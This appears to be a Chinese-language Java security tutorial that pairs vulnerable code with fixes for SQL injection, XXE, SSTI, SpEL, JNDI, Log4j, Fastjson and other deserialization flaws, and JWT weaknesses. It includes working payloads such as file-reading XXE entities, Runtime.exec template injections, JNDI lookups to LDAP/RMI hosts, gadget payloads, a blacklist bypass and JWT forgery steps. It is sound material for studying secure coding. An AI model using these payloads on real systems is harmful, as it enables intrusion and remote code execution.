JAVA安全(偏基础)

SQL注入

SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。

JDBC


JDBC有两个方法获取statement对象,分别是preparedStatement和createStatement。

错误写法:

  • 采用createstatement方法拼接sql语句
  • preparestatement会对sql语句进行编译,但如果直接采用+拼接的方式构造SQL,此时进行编译也无用
// 采用Statement方法拼接SQL语句,导致注入产生public String vul1(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);Statement stmt = conn.createStatement();// 拼接语句产生SQL注入String sql = "select * from users where id = '" + id + "'";ResultSet rs = stmt.executeQuery(sql);...
}
// PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。public String vul2(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);String sql = "select * from users where id = " + id;PreparedStatement st = conn.prepareStatement(sql);ResultSet rs = st.executeQuery();
}

正确写法:

使用preparestatement对sql语句进行编译,但是sql语句不使用+拼接,要使用?占位符。

// 正确的使用PrepareStatement可以有效避免SQL注入,使用?作为占位符,进行参数化查询public String safe1(String id) {String sql = "select * from users where id = ?";PreparedStatement st = conn.prepareStatement(sql);st.setString(1, id);ResultSet rs = st.executeQuery();
}

mybatis

MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。

mybatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接sql。但是有些情况使用#会报错,开发者为了方便会使用$,从而造成sql注入漏洞。

  • order by注入:由于使用#{}会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用${}来解决,从而造成注入
  • like 注入:模糊搜索时,直接使用 '%#{q}%'  会报错,部分研发图方便直接改成 '%${q}%' 从而造成注入 .
  • in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入 .
错误代码:
// 由于使用#{}会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用${}来解决,从而造成SQL注入@GetMapping("/vul/order")
public List<User> orderBy(String field, String sort) {return userMapper.orderBy(field, sort);
}// xml方式
<select id="orderBy" resultType="com.best.hello.entity.User">select * from users order by ${field} ${sort}
</select>// 注解方式
@Select("select * from users order by ${field} desc")
List<User> orderBy2(@Param("field") String field);
// 模糊搜索时,直接使用'%#{q}%' 会报错,部分研发图方便直接改成'%${q}%'从而造成注入@Select("select * from users where user like '%${q}%'")
List<User> search(String q);

正确写法:

<select id="orderBySafe" resultType="com.best.hello.entity.User">select * from users<choose><when test="field == 'id'">order by id desc</when><when test="field == 'user'">order by user desc</when><otherwise>order by id desc</otherwise></choose>
</select>
// 安全代码,采用concat
@Select("select * from users where user like concat('%',#{q},'%')")
List<User> search(String q);

XXE漏洞

XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

审计函数:

 * 1. XMLReader

 * 2. SAXReader

 * 3. DocumentBuilder

 * 4. XMLStreamReader

 * 5. SAXBuilder

 * 6. SAXParser

 * 7. SAXSource

 * 8. TransformerFactory

 * 9. SAXTransformerFactory

 * 10. SchemaFactory

 * 11. Unmarshaller

 * 12. XPathExpression

public String XMLReader(@RequestBody String content) {try {XMLReader xmlReader = XMLReaderFactory.createXMLReader();// 修复:禁用外部实体// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.parse(new InputSource(new StringReader(content)));return "XMLReader XXE";} catch (Exception e) {return e.toString();}
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 修复: 禁用外部实体
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
/***  PoC* Content-Type: application/xml* <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/hosts">]><student><name>&out;</name></student>*/
public String Unmarshaller(@RequestBody String content) {try {JAXBContext context = JAXBContext.newInstance(Student.class);Unmarshaller unmarshaller = context.createUnmarshaller();XMLInputFactory xif = XMLInputFactory.newFactory();// 修复: 禁用外部实体// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));Object o = unmarshaller.unmarshal(xsr);return o.toString();} catch (Exception e) {e.printStackTrace();
}
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {try {SAXBuilder saxbuilder = new SAXBuilder();// 修复: saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);saxbuilder.build(new InputSource(new StringReader(content)));return "SAXBuilder XXE";} catch (Exception e) {return e.toString();}
}

黑名单过滤:

public static boolean checkXXE(String content) {String[] black_list = {"ENTITY", "DOCTYPE"};for (String s : black_list) {if (content.toUpperCase().contains(s)) {return true;}}return false;
}

 poc:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://0g5zvd.dnslog.cn">]><root>&xxe;</root>Windows: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///C:\windows\win.ini">]><student><name>&out;</name></student>Linux: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/passwd">]><student><name>&out;</name></student>

SSTI(服务器模板注入)

SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。

  • thymeleaf模版注入

//漏洞写法,参数用户可控 
@GetMapping("/thymeleaf/vul")public String thymeleafVul(@RequestParam String lang) {// 模版文件参数可控return "lang/" + lang;}//安全写法,相当于是设置一个白名单public String thymeleafSafe(@RequestParam String lang) {List<String> white_list = new ArrayList<String>();white_list.add("en");white_list.add("zh");if (white_list.contains(lang)){return "lang/" + lang;} else{return "commons/401";}}

 poc

lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27calc%27).getInputStream()).next()%7d__::.x

http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27calc%27).getInputStream()).next()%7d__::.x

  •  url作为视图

 /*** 如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析* 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x*/@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {System.out.println(document);}//安全写法// 由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析@GetMapping("/doc/safe/{document}")public void getDocument(@PathVariable String document, HttpServletResponse response) {System.out.println(document);}

poc

http://127.0.0.1:8888/SSTI/doc/vul/__$%7BT(java.lang.Runtime).getRuntime().exec(%27%20calc%27)%7D__::.x

参考文章:

https :// www . cnblogs . com / bmjoker / p / 13508538. html

SPEL表达式注入(springboot框架)

SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。

// PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)public String vul(String ex) {ExpressionParser parser = new SpelExpressionParser();// StandardEvaluationContext权限过大,可以执行任意代码,默认使用EvaluationContext evaluationContext = new StandardEvaluationContext();Expression exp = parser.parseExpression(ex);String result = exp.getValue(evaluationContext).toString();return result;
}//安全代码
// SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用public String spelSafe(String ex) {ExpressionParser parser = new SpelExpressionParser();EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();Expression exp = parser.parseExpression(ex);String result = exp.getValue(simpleContext).toString();return result;
}//黑名单过滤
// 黑名单正则,尝试绕过执行恶意代码public String vul2(String ex) {String[] black_list = {"java.+lang", "Runtime", "exec.*\\("};for (String s : black_list) {Matcher matcher = Pattern.compile(s).matcher(ex);if (matcher.find()) {return "黑名单过滤";}}ExpressionParser parser = new SpelExpressionParser();Expression exp = parser.parseExpression(ex);String result = exp.getValue().toString();return result;
}

利用反射绕过黑名单检测(还未成功):

T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"calc\"})

RCE执行

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

getRuntime()常用于执行本地命令,使用频率较高。

审计函数/类:

  • Groovy
  • -RuntimeExec
  • -ProcessImpl
  • -ProcessBuilder
  • -ScriptEngineManager

GroovyExec

import groovy.lang.GroovyShell;@Controller
@RequestMapping("/home/rce")
public class GroovyExec {@GetMapping("/groovy")public String groovyExec(String cmd, Model model) {GroovyShell shell = new GroovyShell();try {shell.evaluate(cmd);model.addAttribute("results", "执行成功!!!");} catch (Exception e) {e.printStackTrace();model.addAttribute("results", e.toString());}return "basevul/rce/groovy";}
}

payload:

 cmd="calc".execute()

http://127.0.0.1:8000/home/rce/groovy?cmd=%22calc%22.execute%28%29

RuntimeExec

public class RuntimeExec {@RequestMapping("/runtime")public String RuntimeExec(String cmd, Model model) {StringBuilder sb = new StringBuilder();String line;try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis, "GBK");BufferedReader br = new BufferedReader(isr);while ((line = br.readLine()) != null) {sb.append(line).append(System.lineSeparator());}} catch (IOException e) {e.printStackTrace();sb.append(e);}model.addAttribute("results", sb.toString());return "basevul/rce/runtime";}
}//安全写法
// 使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护。public static String safe(String cmd) {// 定义命令白名单Set<String> commands = new HashSet<\>();commands.add("ls");commands.add("pwd");// 检查用户提供的命令是否在白名单中String command = cmd.split("\\s+")[0];if (!commands.contains(command)) {return "命令不在白名单中";}...
}

上述不安全代码中的cmd用户可控,可以任意执行命令,从而出现rce漏洞;安全写法就是添加一个白名单(只包括我们想要用户执行的命令),对用户输入的命令与白名单匹配,如果出现异常则不能正常执行。

ScriptEngineManager

// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval
import javax.script.Bindings;
import javax.script.ScriptContext;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;@Controller
@RequestMapping("/home/rce")
public class LoadJsExec {@GetMapping("/loadjs")public String loadJsExec(String url, Model model) {try {ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");// Bindings:用来存放数据的容器Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);model.addAttribute("results", "远程脚本: " + HtmlUtils.htmlEscape(url) + " 执行成功!");} catch (Exception e) {e.printStackTrace();model.addAttribute("results", e.toString());}return "basevul/rce/loadjs";}
}

ProcessBuilderExec 

@Controller
@RequestMapping("/home/rce")
public class ProcessBuilderExec {@RequestMapping("/processbuilder")public String ProcessBuilderExec(String ip, String safe, Model model) {if (safe != null) {if (Security.checkOs(ip)) {model.addAttribute("results", "检测到非法命令注入");return "basevul/rce/processbuilder";}}
//        String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};StringBuilder sb = new StringBuilder();String line;String results;// 利用指定的操作系统程序和参数构造一个进程生成器ProcessBuilder pb = new ProcessBuilder(cmdList);pb.redirectErrorStream(true);// 使用此进程生成器的属性启动一个新进程Process process = null;try {process = pb.start();// 取得命令结果的输出流InputStream fis = process.getInputStream();// 用一个读输出流类去读InputStreamReader isr = new InputStreamReader(fis, "GBK");// 用缓存器读行BufferedReader br = new BufferedReader(isr);//直到读完为止while ((line = br.readLine()) != null) {sb.append(line).append(System.lineSeparator());}results = sb.toString();} catch (IOException e) {e.printStackTrace();results = e.toString();}model.addAttribute("results", results);return "basevul/rce/processbuilder";}
}//安全代码
// 自定义黑名单,这里过滤了常见的管道符,可自行添加public static boolean checkOs(String content) {String[] black_list = {"|", ",", "&", "&&", ";", "||"};for (String s : black_list) {if (content.contains(s)) {return true;}}return false;
}

上述代码容易造成的漏洞是用户在ip后面拼接恶意命令。

 ProcessImpl

// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法将 start 方法设为可访问method.setAccessible(true);// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}

上述cmd用户可控,可以执行恶意命令。

JNDI注入 

JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

常用的协议:

  • RMI:远程方法调用注册表
  • LDAP:轻量级目录访问协议
jndi注入并不是JNDI直接造成漏洞,通常是使用JNDI利用其它漏洞(rce、序列化等)
// lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。public void vul(String content) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}
}//安全代码
public String safe2(String content) {List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");if (whiteList.contains(content)) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 白名单拦截";}
}

上述的content参数用户可控,则可以利用工具直接生成执行恶意命令的url。

Java为了将Object对象存储在NamingDirectory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在NamingDirectory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

 不安全组件

FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将 JavaBean 序列化为JSON字符串,也可以从JSON字符串反序列化到 JavaBean。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.1.22:1099/4fz7kj","autoCommit":true}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class FastJson {@RequestMapping("")public String fastJson(@RequestBody String content) {try {// 转换成objectJSONObject jsonToObject = JSON.parseObject(content);return jsonToObject.get("name").toString();} catch (Exception e) {return e.toString();}}
}//安全代码
// 在1.2.68之后的版本,Fastjson增加了safeMode的支持,开启后可完全禁用autoType,注意评估对业务的影响。
// https://github.com/alibaba/fastjson/wiki/fastjson_safemodepublic String safe1(@RequestBody String content) {ParserConfig.getGlobalInstance().setSafeMode(true);Object obj = JSON.parse(content);return obj.toString()
}<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>最新版</version>
</dependency>

 Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

import com.fasterxml.jackson.databind.ObjectMapper;@RestController
@RequestMapping("/home/jackson")
public class Jackson {@RequestMapping("")public String vul(@RequestBody String content) {try {
//            content = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc\",\"autoCommit\":\"true\"}]";ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();
//            System.out.println(content);//mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);Object o = mapper.readValue(content, Object.class);mapper.writeValueAsString(o);return "解析成功!";} catch (Exception e) {e.printStackTrace();return e.toString();}}
}//安全开发尽量使用最新版本jackson

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]

 Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。

特征:包中存在rememberme字段。

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.web.mgt.CookieRememberMeManager;import java.util.Base64;@RestController
@RequestMapping("/home/shiro")
public class Shiro {@PostMapping("/login")public String login(String username, String password, String rememberMe) {if (username.equals("") || password.equals(""))return "请输入用户名和密码";Subject subject = SecurityUtils.getSubject();UsernamePasswordToken token = new UsernamePasswordToken(username, password);if (rememberMe.equals("true")) {System.out.println(rememberMe);token.setRememberMe(true);}try {subject.login(token);} catch (UnknownAccountException e) {return "用户名不存在";} catch (AuthenticationException e) {return "认证失败";}return "登录成功";}@GetMapping("/getUser")public Object getUser() {return SecurityUtils.getSubject().toString();}@GetMapping("/notics")public String notics() {return "通知";}@RequestMapping(value = "/getkey")public String  getShiroKey() {try {byte[] key = new CookieRememberMeManager().getCipherKey();return "shiro key: \n" + new String(Base64.getEncoder().encode(key));} catch (Exception e) {return e.toString();}}}

如果发现存在shiro反序列化漏洞,我们可以直接使用工具。

XStream

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

payload:

<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>

// 客户端请求的字符串作为 XML 反序列化为 Java 对象public String vul(@RequestBody String content) {XStream xs = new XStream();xs.fromXML(content);return "XStream Vul";
}//安全代码
public String vul(@RequestBody String content) {XStream xs = new XStream();// 修复:1.4.10后可用,启用黑名单特性的安全配置XStream.setupDefaultSecurity(xs);xs.fromXML(content);return "XStream Safe";
}

 Log4j

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

payload

${jndi:rmi://192.168.1.22:1099/4fz7kj}

public class Log4j {private static final Logger logger = LogManager.getLogger(Log4j.class);@RequestMapping("")public String log4j(String content) {logger.error(content);return "Log4j2 JNDI Injection";}
}

审计思路

FastJson

首先全局搜索JSON.parseObject/JSON.parse,找到有用户可控参数的,判断其参数是否有过滤;同时可以pom.xml中查看fastjson的版本,然后直接搜索该版本的fastjson是否爆出过漏洞

然后找到参数所在位置、传参位置,对应到前端页码的功能点

然后抓包 修改对应参数 判断是否可以带外

测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"} val后面可以使用yakit生成dnslog

Log4j

全局搜索logger.error/logger.info ,找到有用户可控参数的,判断其参数是否有过滤;同时可以pom.xml中查看Log4j的版本,然后直接搜索该版本的Log4j是否爆出过漏洞

然后找到参数所在位置、传参位置,对应到前端页码的功能点

然后抓包 修改对应参数 判断是否可以带外

测试出网回显调用访问

${jndi:ldap://jebqzwhwtn.dnstunnel.run}  dnslog带外查询

${jndi:rmi://192.168.1.22:1099/xhba5d}  使用的是上面jndi注入方法

 对于log这种日志记录的,我们在黑盒就随便插就行了,因为我们不确定日志都记录哪些信息。

不回显常见判断通用方法

  • 直接将执行结果写入到静态资源文件里,如html、js等,然后访问html文件
  • 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
  • 将命令执行结果回显到请求poc的http响应中。

参考文章:面试长问|Fastjson不出网利用总结

反序列化漏洞

readObject

序列化是将 Java 对象转换成字节流的过程。而反序列化是将字节流转换成 Java 对象的过程

java序列化的数据一般会以标记(ac ed 00 05)开头(十六进制),base64编码后的特征为rO0AB开头

JAVA 常见的序列化和反序列化的方法有JAVA 原生序列化和 JSON 类(fastjson、jackson)序列化

序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。在java中任何类如果想要序列化必须实现java.io.Serializable接口

java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个标记,让jre确定这个类是可以序列化的。

同时java中支持在类中定义writeObject、readObject函数,这两个函数不是java.io.Serializable的接口函数,而是约定的函数;如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因。

// readObject,读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。
// 生成payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "calc" | base64public String cc(String base64) {try {base64 = base64.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(base64);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 反序列化流,将序列化的原始数据恢复为对象ObjectInputStream in = new ObjectInputStream(stream);in.readObject();in.close();return "反序列化漏洞";} catch (Exception e) {return e.toString();}
}//安全代码
// 使用Apache Commons IO的ValidatingObjectInputStream,accept方法来实现反序列化类白/黑名单控制public String safe(String base64) {try {base64 = base64.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(base64);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);// 只允许反序列化Student classois.accept(Student.class);ois.readObject();return "ValidatingObjectInputStream";} catch (Exception e) {return e.toString();
}

思路:

  1. 源码中有反序列化函数,然后我们就要看对应的commons-collections版本(如果使用maven可以从pom.xml中查看),根据版本找到对应的CommonsCollections(利用工具ysoserial-0.0.8-SNAPSHOT-all)

2.利用工具生成payload(使用yakit)

也可以使用dnslog带外查询判断是否执行成功。

payload:

工具:

使用SerializedPayloadGenerator工具

使用yakit中的yso-java hack

 xmldecoder

// XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容String path = "src/main/resources/payload/calc-1.xml";
File file = new File(path);
FileInputStream fis = null;
try {fis = new FileInputStream(file);
} catch (Exception e) {e.printStackTrace();
}BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
xmlDecoder.readObject();
xmlDecoder.close();

就是对反序列化的xml文件用户可控且没有过滤,从而造成的反序列化漏洞。

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">    
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">            
<void index="0">                <string>calc</string>            </void>        </array>        <void method="start" />    
</object>
</java>

SnakeYaml

// 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析,没有做沙箱,黑名单之类的防控public void yaml(String content) {Yaml y = new Yaml();y.load(content);
}//安全代码
// SafeConstructor 是 SnakeYaml 提供的一个安全的构造器。它可以用来构造安全的对象,避免反序列化漏洞的发生。public void safe(String content) {Yaml y = new Yaml(new SafeConstructor());y.load(content);log.info("[safe] SnakeYaml反序列化: " + content);
}

payload:

@poc content=!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}


@poc content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]

SpringBoot框架 Actuator

SpringBoot参考文章:https://github.com/LandGrey/SpringBootVulExploit

Actuator 是一个监控系统, 模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理 Spring Boot 应用。

SpringBoot判断(fofa)body="Whitelabel Error Page"  icon_hash="116323821"

Actuator的判断:

  • 黑盒:使用BP插件(APIkit);只有把数据包经过BP,该插件就会自动分析接口。

  • 白盒:查看pom.xml中是否有actuator依赖

依赖:

<dependency>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-actuator</artifactId>

</dependency>

  1. 渗透框架SpringBoot-Scan-2.03
  2. 主要用作扫描Spring Boot的敏感信息泄露端点,并可以直接测试Spring的相关高危漏洞(使用参数-v)。

 敏感信息的提取(工具:JDumpSpider-1.1-SNAPSHOT-full.jar)

如果我们可以下载到/actuator/heapdump文件,我们就可以直接使用工具提取其中的敏感信息。

敏感信息的提取(工具:heapdump_tool.jar):(相比这个更方面,我们可以直接选择我们需要的信息)

 

 漏洞的检测 工具:SpringBootExploit-1.3-SNAPSHOT-all.jar

参考文章:GitHub - 0x727/SpringBootExploit: 项目是根据LandGrey/SpringBootVulExploit清单编写,目的hvv期间快速利用漏洞、降低漏洞利用门槛。

该工具会帮助我们根据提取到的信息检测分析并利用漏洞

服务器地址的玩法

 当检测到漏洞以后,我们使用jndi执行一下命令。(注意:参数和上面的服务器配置端口要一样)

 当内存马注入成功后,我们使用冰蝎连接;成功打进服务器,拿下权限。

Druid监控

Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。

攻击点:

  • 直接再url访问,尝试通过未授权访问系统功能点
  • 利用session信息,进行后台的登录

参考文章:Druid未授权访问 漏洞复现-阿里云开发者社区

Swagger接口

Swagger 是一个用于生成、描述和调用 RESTful 接口的 Web 服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。

  • 当我们发现大量接口的时候我们可以采用postman进行自动化测试。

 

 

 postman会帮助我们测试所有的接口,注意上面的数据包,很明显ua是postman;但如果服务器对ua检测的话会阻止我们这种请求。

我们可以使用BP和postman联动,让poatman的流量经过BP代理;在BP可以清楚的查看、修改数据包。

 然后可以使用BP和xray联动,直接让xray对地址进行安全测试。

JWT令牌

JSON  Web Token ( JWT ) 。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie + session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。

JWT识别:

JWT通常由三部分组成(header、payload、signature),且中间是以.分隔;其中header和payload部分是由eyJ开头。

  •  标头header
  • 有效载荷payload
  • 签名signature

BP插件识别

安装HaE和JSON Web Token

HaE:可以帮我们筛选数据包,通过关键字显示不同颜色。

JSON Web Token:可以自动帮助我们解析JWT数据。

 ​​​​​​​插件功能:

 JWT攻击

  • 空加密算法(攻击头部不使用加密)签名算法可被修改为none,JWT支持将算法设定为 "None" 。如果header部分的 "alg" 字段设为 "None" ,那么签名会被置空,这样任何token都是有效的。(签名置空只剩两部分);我们可以直接使用base64解码之后修改前两个字段的值再进行base64编码即可。
  • 未校验签名;有些服务端并未校验JWT签名,我们可以把alg改为none,然后直接修改其payload的值,把签名部分的值删掉。(可以直接使用BP插件json web tokens或者jwt_tool-2.2.6)

  • 暴力破解密钥(攻击签名知道密钥实现重组)针对是对称加密算法(非对称没有用);非对称要使用方法:获取源码或者公钥私钥文件某些签名算法,例如HS256(HMAC + SHA - 256 ),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
​​​​​​​
  • 如果采用RS非对称加密算法;我们就可以找泄露的公钥/私钥(用来解密的那个)。然后把加密方式转换成对称的(HS256),利用该泄露的密钥进行加密。
var jwt = require('jsonwebtoken');
